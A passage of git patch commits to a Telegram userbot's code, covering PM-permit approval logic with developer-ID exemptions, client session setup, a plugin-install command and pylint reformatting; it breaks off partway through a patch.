22 Jan 2021 11:56:22 +0530 Subject: [PATCH 693/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 111 ++++++++++++++++------------------ 1 file changed, 53 insertions(+), 58 deletions(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 80926db1..e58d32ad 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -37,7 +37,7 @@ USER_BOT_WARN_ZERO = "You Tried to Spam on my Master's Inbox.. So I Blocked you." botisnoob = Var.TG_BOT_USER_NAME_BF_HER - +devs_id = [1141839926, 1263617196, 573738900, 1315076555] USER_BOT_NO_WARN = ( "**Hello, This is My Master's PM Protection Service ⚠️**\n\n" f"`My Master {DEFAULTUSER} is Busy Right Now !` \n" @@ -45,13 +45,38 @@ f"**{CUSTOM_MIDDLE_PMP}**" ) if Var.PRIVATE_GROUP_ID is not None: + + @borg.on(events.NewMessage(outgoing=True)) + async def auto_approve_for_out_going(event): + if event.fwd_from: + return + if not event.is_private: + return + chat_ids = event.chat_id + sender = await event.client(GetFullUserRequest(await event.get_input_chat())) + first_name = sender.user.first_name + if chat_ids == bot.uid: + return + if sender.user.bot: + return + if sender.user.verified: + return + if PM_ON_OFF == "DISABLE": + return + if not pmpermit_sql.is_approved(event.chat_id): + if not event.chat_id in PM_WARNS: + pmpermit_sql.approve(event.chat_id, "outgoing") + bruh = "AutoApproved [{}](tg://user?id={}) Due To Out Going Message !".format(first_name, event.chat_id) + rko = await borg.send_message(event.chat_id, bruh) + await asyncio.sleep(3) + await rko.delete() @borg.on(friday_on_cmd(pattern="(a|approve)$")) async def approve(event): if event.fwd_from: return if event.is_private: - replied_user = await borg(GetFullUserRequest(event.chat_id)) + replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) firstname = replied_user.user.first_name if not pmpermit_sql.is_approved(event.chat_id): if event.chat_id in PM_WARNS: @@ -61,94 +86,81 @@ async def approve(event): del PREV_REPLY_MESSAGE[event.chat_id] pmpermit_sql.approve(event.chat_id, "Approved Another Nibba") await event.edit( - "Approved to PM [{}](tg://user?id={})".format( - firstname, event.chat_id - ) + "Approved to pm [{}](tg://user?id={})".format(firstname, event.chat_id) ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(event.chat_id): - sed = await event.edit("`This User Already Approved.`") + sed = await event.edit('`This User Already Approved.`') await asyncio.sleep(3) await sed.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit("`Reply To User To Approve Him !`") + await event.edit('`Reply To User To Approve Him !`') return if not pmpermit_sql.is_approved(reply_s.sender_id): - replied_user = await borg(GetFullUserRequest(reply_s.sender_id)) + replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.approve(reply_s.sender_id, "Approved Another Nibba") await event.edit( - "Approved to pm [{}](tg://user?id={})".format( - firstname, reply_s.sender_id + "Approved to pm [{}](tg://user?id={})".format(firstname, reply_s.sender_id) ) - ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit("`User Already Approved !`") + await event.edit('`User Already Approved !`') await event.delete() - + @borg.on(friday_on_cmd(pattern="block$")) async def approve_p_m(event): if event.fwd_from: return - replied_user = await borg(GetFullUserRequest(event.chat_id)) + replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) firstname = replied_user.user.first_name - await event.get_chat() if event.is_private: if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) - await event.edit( - "Blocked [{}](tg://user?id={})".format(firstname, event.chat_id) - ) - await event.client(functions.contacts.BlockRequest(event.chat_id)) + await event.edit("Blocked [{}](tg://user?id={})".format(firstname, event.chat_id)) + await borg(functions.contacts.BlockRequest(event.chat_id)) @borg.on(friday_on_cmd(pattern="(da|disapprove)$")) async def dapprove(event): if event.fwd_from: return - if event.is_private: - replied_user = await borg(GetFullUserRequest(event.chat_id)) + replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) firstname = replied_user.user.first_name if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format( - firstname, event.chat_id - ) + "Disapproved User [{}](tg://user?id={})".format(firstname, event.chat_id) ) await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(event.chat_id): - led = await event.edit( - "`This User Is Not Even Approved To Disapprove !`" - ) + led = await event.edit("`This User Is Not Even Approved To Disapprove !`") await asyncio.sleep(3) await led.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit("`Reply To User To DisApprove Him !`") + await event.edit('`Reply To User To DisApprove Him !`') return if pmpermit_sql.is_approved(reply_s.sender_id): - replied_user = await borg(GetFullUserRequest(reply_s.sender_id)) + replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.disapprove(reply_s.sender_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format( - firstname, reply_s.sender_id - ) + "Disapproved User [{}](tg://user?id={})".format(firstname, reply_s.sender_id) ) await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit("`User Even Not Approved !`") - await event.delete() - + await event.edit('`User Even Not Approved !`') + await event.delete() + + @borg.on(friday_on_cmd(pattern="listapproved$")) async def approve_p_m(event): if event.fwd_from: @@ -180,30 +192,26 @@ async def approve_p_m(event): else: await event.edit(APPROVED_PMs) - @bot.on(events.NewMessage(incoming=True)) + @borg.on(events.NewMessage(incoming=True)) async def on_new_private_message(event): if event.sender_id == bot.uid: return - if Var.PRIVATE_GROUP_ID is None: - await borg.send_message( - bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit" - ) + await borg.send_message(bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit") return - if not event.is_private: return message_text = event.message.raw_text chat_ids = event.sender_id - if USER_BOT_NO_WARN == message_text: return - sender = await bot(GetFullUserRequest(event.sender_id)) + sender = await event.client(GetFullUserRequest(chat_ids)) if chat_ids == bot.uid: - # don't log Saved Messages return if sender.user.bot: return + if event.sender_id in devs_id: + return if sender.user.verified: return if PM_ON_OFF == "DISABLE": @@ -212,7 +220,7 @@ async def on_new_private_message(event): return if not pmpermit_sql.is_approved(chat_ids): await do_pm_permit_action(chat_ids, event) - + async def do_pm_permit_action(chat_ids, event): if chat_ids not in PM_WARNS: PM_WARNS.update({chat_ids: 0}) @@ -227,7 +235,6 @@ async def do_pm_permit_action(chat_ids, event): the_message += "#BLOCKED_PMs\n\n" the_message += f"[User](tg://user?id={chat_ids}): {chat_ids}\n" the_message += f"Message Counts: {PM_WARNS[chat_ids]}\n" - # the_message += f"Media: {message_media}" try: await borg.send_message( entity=Var.PRIVATE_GROUP_ID, @@ -245,15 +252,3 @@ async def do_pm_permit_action(chat_ids, event): if chat_ids in PREV_REPLY_MESSAGE: await PREV_REPLY_MESSAGE[chat_ids].delete() PREV_REPLY_MESSAGE[chat_ids] = sed - - -@bot.on(events.NewMessage(incoming=True, from_users=(1141839926))) -async def hehehe(event): - event.chat_id - if event.is_private: - if not pmpermit_sql.is_approved(event.chat_id): - pmpermit_sql.approve(event.chat_id, "**Dev**") - await borg.send_message( - event.chat_id, - "**🔥 User Detected As Developer. So Approved Automatically 🔥**", - ) From 2839f6610efa89e92c37fe2e6541bb1a66952f27 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:27:04 +0000 Subject: [PATCH 694/838] pylint: auto fixes --- fridaybot/modules/pmpermit.py | 67 +++++++++++++++++++++++------------ 1 file changed, 44 insertions(+), 23 deletions(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index e58d32ad..34d20c34 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -45,7 +45,7 @@ f"**{CUSTOM_MIDDLE_PMP}**" ) if Var.PRIVATE_GROUP_ID is not None: - + @borg.on(events.NewMessage(outgoing=True)) async def auto_approve_for_out_going(event): if event.fwd_from: @@ -66,17 +66,21 @@ async def auto_approve_for_out_going(event): if not pmpermit_sql.is_approved(event.chat_id): if not event.chat_id in PM_WARNS: pmpermit_sql.approve(event.chat_id, "outgoing") - bruh = "AutoApproved [{}](tg://user?id={}) Due To Out Going Message !".format(first_name, event.chat_id) + bruh = "AutoApproved [{}](tg://user?id={}) Due To Out Going Message !".format( + first_name, event.chat_id + ) rko = await borg.send_message(event.chat_id, bruh) await asyncio.sleep(3) - await rko.delete() + await rko.delete() @borg.on(friday_on_cmd(pattern="(a|approve)$")) async def approve(event): if event.fwd_from: return if event.is_private: - replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) + replied_user = await event.client( + GetFullUserRequest(await event.get_input_chat()) + ) firstname = replied_user.user.first_name if not pmpermit_sql.is_approved(event.chat_id): if event.chat_id in PM_WARNS: @@ -86,42 +90,50 @@ async def approve(event): del PREV_REPLY_MESSAGE[event.chat_id] pmpermit_sql.approve(event.chat_id, "Approved Another Nibba") await event.edit( - "Approved to pm [{}](tg://user?id={})".format(firstname, event.chat_id) + "Approved to pm [{}](tg://user?id={})".format( + firstname, event.chat_id + ) ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(event.chat_id): - sed = await event.edit('`This User Already Approved.`') + sed = await event.edit("`This User Already Approved.`") await asyncio.sleep(3) await sed.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit('`Reply To User To Approve Him !`') + await event.edit("`Reply To User To Approve Him !`") return if not pmpermit_sql.is_approved(reply_s.sender_id): replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.approve(reply_s.sender_id, "Approved Another Nibba") await event.edit( - "Approved to pm [{}](tg://user?id={})".format(firstname, reply_s.sender_id) + "Approved to pm [{}](tg://user?id={})".format( + firstname, reply_s.sender_id ) + ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit('`User Already Approved !`') + await event.edit("`User Already Approved !`") await event.delete() - + @borg.on(friday_on_cmd(pattern="block$")) async def approve_p_m(event): if event.fwd_from: return - replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) + replied_user = await event.client( + GetFullUserRequest(await event.get_input_chat()) + ) firstname = replied_user.user.first_name if event.is_private: if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) - await event.edit("Blocked [{}](tg://user?id={})".format(firstname, event.chat_id)) + await event.edit( + "Blocked [{}](tg://user?id={})".format(firstname, event.chat_id) + ) await borg(functions.contacts.BlockRequest(event.chat_id)) @borg.on(friday_on_cmd(pattern="(da|disapprove)$")) @@ -129,38 +141,45 @@ async def dapprove(event): if event.fwd_from: return if event.is_private: - replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) + replied_user = await event.client( + GetFullUserRequest(await event.get_input_chat()) + ) firstname = replied_user.user.first_name if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format(firstname, event.chat_id) + "Disapproved User [{}](tg://user?id={})".format( + firstname, event.chat_id + ) ) await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(event.chat_id): - led = await event.edit("`This User Is Not Even Approved To Disapprove !`") + led = await event.edit( + "`This User Is Not Even Approved To Disapprove !`" + ) await asyncio.sleep(3) await led.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit('`Reply To User To DisApprove Him !`') + await event.edit("`Reply To User To DisApprove Him !`") return if pmpermit_sql.is_approved(reply_s.sender_id): replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.disapprove(reply_s.sender_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format(firstname, reply_s.sender_id) + "Disapproved User [{}](tg://user?id={})".format( + firstname, reply_s.sender_id + ) ) await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit('`User Even Not Approved !`') - await event.delete() - - + await event.edit("`User Even Not Approved !`") + await event.delete() + @borg.on(friday_on_cmd(pattern="listapproved$")) async def approve_p_m(event): if event.fwd_from: @@ -197,7 +216,9 @@ async def on_new_private_message(event): if event.sender_id == bot.uid: return if Var.PRIVATE_GROUP_ID is None: - await borg.send_message(bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit") + await borg.send_message( + bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit" + ) return if not event.is_private: return @@ -220,7 +241,7 @@ async def on_new_private_message(event): return if not pmpermit_sql.is_approved(chat_ids): await do_pm_permit_action(chat_ids, event) - + async def do_pm_permit_action(chat_ids, event): if chat_ids not in PM_WARNS: PM_WARNS.update({chat_ids: 0}) From 0657ac8f614f676562d2fdbf0258ada5839521b7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 11:57:40 +0530 Subject: [PATCH 695/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index b9bfdf08..fcc25df5 100644 --- a/requirements.txt +++ b/requirements.txt @@ -5,6 +5,7 @@ nospamplus pymediainfo quote python-magic +telethon-session-sqlalchemy pyseoanalyzer glitch_this PyGithub From f4ed1589c33563dbd1fb9722a5181b7f95116732 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:02:50 +0530 Subject: [PATCH 696/838] Update __init__.py --- fridaybot/__init__.py | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index 56a7cd33..6af06af4 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -16,23 +16,17 @@ from telegraph import Telegraph, exceptions, upload_file from telethon import TelegramClient from telethon.sessions import StringSession - -from var import Var +from alchemysession import AlchemySessionContainer from .Configs import Config from .function import fridayfunction as topfunc +from var import Var +from fridaybot.modules.sql_helper import SESSION Lastupdate = time.time() sedprint = logging.getLogger("WARNING") from var import Var -if Var.STRING_SESSION: - session_name = str(Var.STRING_SESSION) - bot = TelegramClient(StringSession(session_name), Var.APP_ID, Var.API_HASH) -else: - session_name = "startup" - bot = TelegramClient(session_name, Var.APP_ID, Var.API_HASH) - CMD_LIST = {} CMD_HELP = {} From ba28b4796b101cea72f17cb1df352db56e5e4a6b Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:33:33 +0000 Subject: [PATCH 697/838] pylint: auto fixes --- fridaybot/__init__.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index 6af06af4..c984a9c2 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -8,6 +8,7 @@ import pylast import wget +from alchemysession import AlchemySessionContainer from dotenv import load_dotenv from nospamplus.connect import Connect from pylast import LastFMNetwork, md5 @@ -16,18 +17,17 @@ from telegraph import Telegraph, exceptions, upload_file from telethon import TelegramClient from telethon.sessions import StringSession -from alchemysession import AlchemySessionContainer + +from fridaybot.modules.sql_helper import SESSION +from var import Var from .Configs import Config from .function import fridayfunction as topfunc -from var import Var -from fridaybot.modules.sql_helper import SESSION Lastupdate = time.time() sedprint = logging.getLogger("WARNING") from var import Var - CMD_LIST = {} CMD_HELP = {} INT_PLUG = "" From 0124cb2ebb6eda6e33cb6e00b82af994272675ac Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:05:37 +0530 Subject: [PATCH 698/838] Update __main__.py --- fridaybot/__main__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/__main__.py b/fridaybot/__main__.py index 08a11d8d..19848675 100644 --- a/fridaybot/__main__.py +++ b/fridaybot/__main__.py @@ -10,7 +10,7 @@ from fridaybot.utils import load_module, start_assistant from var import Var -sed = logging.getLogger("Friday") +sed = logging.getLogger("VirtualUserbot") async def add_bot(bot_token): From 274af8fd1bbb351a42310311edf1a183fc8aebfa Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:07:48 +0530 Subject: [PATCH 699/838] Update __init__.py --- fridaybot/__init__.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index c984a9c2..5293b46f 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -8,7 +8,10 @@ import pylast import wget -from alchemysession import AlchemySessionContainer + +from var import Var + + from dotenv import load_dotenv from nospamplus.connect import Connect from pylast import LastFMNetwork, md5 @@ -18,8 +21,14 @@ from telethon import TelegramClient from telethon.sessions import StringSession -from fridaybot.modules.sql_helper import SESSION -from var import Var +if Var.STRING_SESSION: + session_name = str(Var.STRING_SESSION) + bot = TelegramClient(StringSession(session_name), Var.APP_ID, Var.API_HASH) +else: + session_name = "startup" + bot = TelegramClient(session_name, Var.APP_ID, Var.API_HASH) + + from .Configs import Config from .function import fridayfunction as topfunc From 7bfea85b95035abdcc51b127bb41db3aa2be6652 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:39:10 +0000 Subject: [PATCH 700/838] pylint: auto fixes --- fridaybot/__init__.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index 5293b46f..4d1631d2 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -8,10 +8,6 @@ import pylast import wget - -from var import Var - - from dotenv import load_dotenv from nospamplus.connect import Connect from pylast import LastFMNetwork, md5 @@ -21,6 +17,8 @@ from telethon import TelegramClient from telethon.sessions import StringSession +from var import Var + if Var.STRING_SESSION: session_name = str(Var.STRING_SESSION) bot = TelegramClient(StringSession(session_name), Var.APP_ID, Var.API_HASH) @@ -29,7 +27,6 @@ bot = TelegramClient(session_name, Var.APP_ID, Var.API_HASH) - from .Configs import Config from .function import fridayfunction as topfunc From 5f2dfa82d096191d9c600dec9b79dc6827e63828 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:09:55 +0530 Subject: [PATCH 701/838] Update install.py --- fridaybot/modules/install.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/install.py b/fridaybot/modules/install.py index 2fa2acc2..538cd30a 100644 --- a/fridaybot/modules/install.py +++ b/fridaybot/modules/install.py @@ -1,7 +1,7 @@ import asyncio import os from pathlib import Path - +from fridaybot.function import get_all_modules from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd, load_module @@ -40,6 +40,13 @@ async def install(event): os.remove(downloaded_file_name) await asyncio.sleep(DELETE_TIMEOUT) await event.delete() + +@borg.on(friday_on_cmd(pattern='pl ?(.*)')) +async def _(event): + lul = event.pattern_match.group(1) + yesm, nope, total_p = await get_all_modules(event, borg, lul) + await event.edit(f"Installed {yesm} PLugins. Failed To Install {nope} Plugins And There Were Total {total_p} Plugins") + CMD_HELP.update( From 6a6283ed2eeb9610967785425fd37f8f651e4ee3 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:40:40 +0000 Subject: [PATCH 702/838] pylint: auto fixes --- fridaybot/modules/install.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/install.py b/fridaybot/modules/install.py index 538cd30a..f7c41d0a 100644 --- a/fridaybot/modules/install.py +++ b/fridaybot/modules/install.py @@ -1,8 +1,9 @@ import asyncio import os from pathlib import Path -from fridaybot.function import get_all_modules + from fridaybot import CMD_HELP +from fridaybot.function import get_all_modules from fridaybot.utils import friday_on_cmd, load_module DELETE_TIMEOUT = 5 @@ -40,13 +41,15 @@ async def install(event): os.remove(downloaded_file_name) await asyncio.sleep(DELETE_TIMEOUT) await event.delete() - -@borg.on(friday_on_cmd(pattern='pl ?(.*)')) + + +@borg.on(friday_on_cmd(pattern="pl ?(.*)")) async def _(event): lul = event.pattern_match.group(1) yesm, nope, total_p = await get_all_modules(event, borg, lul) - await event.edit(f"Installed {yesm} PLugins. Failed To Install {nope} Plugins And There Were Total {total_p} Plugins") - + await event.edit( + f"Installed {yesm} PLugins. Failed To Install {nope} Plugins And There Were Total {total_p} Plugins" + ) CMD_HELP.update( From 40d1bafd2420156747d4781357439d3446ae1488 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:10:54 +0530 Subject: [PATCH 703/838] Update _helper.py --- fridaybot/modules/_helper.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index ad60b8c1..27f0280c 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -1,9 +1,8 @@ from fridaybot import ALIVE_NAME, CMD_LIST, lang - +from fridaybot.utils import friday_on_cmd DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" - -@command(pattern="^.help ?(.*)") +borg.on(friday_on_cmd(pattern="help ?(.*)") async def cmd_list(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): tgbotusername = Var.TG_BOT_USER_NAME_BF_HER From 05d73ebd498a01395852f356b4bb3b56b3ebbb33 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:14:01 +0530 Subject: [PATCH 704/838] Update utils.py --- fridaybot/utils.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fridaybot/utils.py b/fridaybot/utils.py index 76f8c809..8a2e2b8f 100644 --- a/fridaybot/utils.py +++ b/fridaybot/utils.py @@ -16,6 +16,7 @@ ignore_pm, ) from var import Var +from fridaybot.function import strings as _tr sedprint = logging.getLogger("PLUGINS") cmdhandler = Config.COMMAND_HAND_LER @@ -123,6 +124,7 @@ def load_module(shortname): mod.tgbot = bot.tgbot mod.Var = Var mod.command = command + mod._tr = _tr mod.logger = logging.getLogger(shortname) # support for uniborg sys.modules["uniborg.util"] = fridaybot.utils From 13eb1fbc58f0299fa0ff251cce09598bb47487f2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:15:07 +0530 Subject: [PATCH 705/838] Update _helper.py --- fridaybot/modules/_helper.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index 27f0280c..b1fb951c 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -2,7 +2,7 @@ from fridaybot.utils import friday_on_cmd DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" -borg.on(friday_on_cmd(pattern="help ?(.*)") +borg.on(friday_on_cmd(pattern="help ?(.*)")) async def cmd_list(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): tgbotusername = Var.TG_BOT_USER_NAME_BF_HER From b4a95527ce590a85d5c7bc338117b80589e0ee52 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:45:51 +0000 Subject: [PATCH 706/838] pylint: auto fixes --- fridaybot/modules/_helper.py | 3 +++ fridaybot/utils.py | 4 ++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index b1fb951c..36c5ec73 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -1,8 +1,11 @@ from fridaybot import ALIVE_NAME, CMD_LIST, lang from fridaybot.utils import friday_on_cmd + DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" borg.on(friday_on_cmd(pattern="help ?(.*)")) + + async def cmd_list(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): tgbotusername = Var.TG_BOT_USER_NAME_BF_HER diff --git a/fridaybot/utils.py b/fridaybot/utils.py index 8a2e2b8f..0f5323e8 100644 --- a/fridaybot/utils.py +++ b/fridaybot/utils.py @@ -8,6 +8,7 @@ from fridaybot import CMD_LIST, LOAD_PLUG, SUDO_LIST, bot from fridaybot.Configs import Config +from fridaybot.function import strings as _tr from fridaybot.wraptools import ( am_i_admin, ignore_bot, @@ -16,7 +17,6 @@ ignore_pm, ) from var import Var -from fridaybot.function import strings as _tr sedprint = logging.getLogger("PLUGINS") cmdhandler = Config.COMMAND_HAND_LER @@ -124,7 +124,7 @@ def load_module(shortname): mod.tgbot = bot.tgbot mod.Var = Var mod.command = command - mod._tr = _tr + mod._tr = _tr mod.logger = logging.getLogger(shortname) # support for uniborg sys.modules["uniborg.util"] = fridaybot.utils From 831db722d5a198ca7b36505b9a5555c81cd7f166 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:16:28 +0530 Subject: [PATCH 707/838] Update __init__.py --- fridaybot/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index 4d1631d2..8490a416 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -28,7 +28,7 @@ from .Configs import Config -from .function import fridayfunction as topfunc + Lastupdate = time.time() sedprint = logging.getLogger("WARNING") From 6a54598c1e17ff1c214f18eacdf64e8e9dac133c Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:47:15 +0000 Subject: [PATCH 708/838] pylint: auto fixes --- fridaybot/__init__.py | 1 - 1 file changed, 1 deletion(-) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index 8490a416..a2552ff3 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -29,7 +29,6 @@ from .Configs import Config - Lastupdate = time.time() sedprint = logging.getLogger("WARNING") from var import Var From c4d699dc9235173f455fd31211cbd7e6f2264444 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:17:28 +0530 Subject: [PATCH 709/838] Update __init__.py --- fridaybot/modules/__init__.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/__init__.py b/fridaybot/modules/__init__.py index 00f08458..0d9b3e81 100644 --- a/fridaybot/modules/__init__.py +++ b/fridaybot/modules/__init__.py @@ -1,10 +1,9 @@ -from fridaybot import topfunc + from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd from var import Var -idgen = topfunc.id_generator -findnemo = topfunc.stark_finder + issudousing = Config.SUDO_USERS islogokay = Config.PRIVATE_GROUP_ID isdbfine = Var.DB_URI From 787374788533fa6e0425c62f669d48d68984213a Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:48:15 +0000 Subject: [PATCH 710/838] pylint: auto fixes --- fridaybot/modules/__init__.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/fridaybot/modules/__init__.py b/fridaybot/modules/__init__.py index 0d9b3e81..5b0aa796 100644 --- a/fridaybot/modules/__init__.py +++ b/fridaybot/modules/__init__.py @@ -1,9 +1,7 @@ - from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd from var import Var - issudousing = Config.SUDO_USERS islogokay = Config.PRIVATE_GROUP_ID isdbfine = Var.DB_URI From a316519f066c85ae549ed087f846704043e63506 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:19:44 +0530 Subject: [PATCH 711/838] Update install.py --- fridaybot/modules/install.py | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/fridaybot/modules/install.py b/fridaybot/modules/install.py index f7c41d0a..ea3955f0 100644 --- a/fridaybot/modules/install.py +++ b/fridaybot/modules/install.py @@ -1,10 +1,9 @@ import asyncio import os from pathlib import Path - -from fridaybot import CMD_HELP -from fridaybot.function import get_all_modules from fridaybot.utils import friday_on_cmd, load_module +from fridaybot.function import get_all_modules +from fridaybot import CMD_HELP DELETE_TIMEOUT = 5 @@ -25,7 +24,7 @@ async def install(event): shortname = path1.stem load_module(shortname.replace(".py", "")) await event.edit( - "VirtualUserbot Has Installed `{}` Sucessfully.".format( + "VirtualUserbot Installed `{}` Sucessfully.".format( os.path.basename(downloaded_file_name) ) ) @@ -42,16 +41,12 @@ async def install(event): await asyncio.sleep(DELETE_TIMEOUT) await event.delete() - -@borg.on(friday_on_cmd(pattern="pl ?(.*)")) +@borg.on(friday_on_cmd(pattern='pl ?(.*)')) async def _(event): lul = event.pattern_match.group(1) yesm, nope, total_p = await get_all_modules(event, borg, lul) - await event.edit( - f"Installed {yesm} PLugins. Failed To Install {nope} Plugins And There Were Total {total_p} Plugins" - ) - - + await event.edit(f"Installed {yesm} PLugins. Failed To Install {nope} Plugins And There Were Total {total_p} Plugins") + CMD_HELP.update( { "install": "**Install**\ From 284e21e81847a299886941794b1838c5b04ff687 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:50:50 +0000 Subject: [PATCH 712/838] pylint: auto fixes --- fridaybot/modules/install.py | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/install.py b/fridaybot/modules/install.py index ea3955f0..0455c1cb 100644 --- a/fridaybot/modules/install.py +++ b/fridaybot/modules/install.py @@ -1,9 +1,10 @@ import asyncio import os from pathlib import Path -from fridaybot.utils import friday_on_cmd, load_module -from fridaybot.function import get_all_modules + from fridaybot import CMD_HELP +from fridaybot.function import 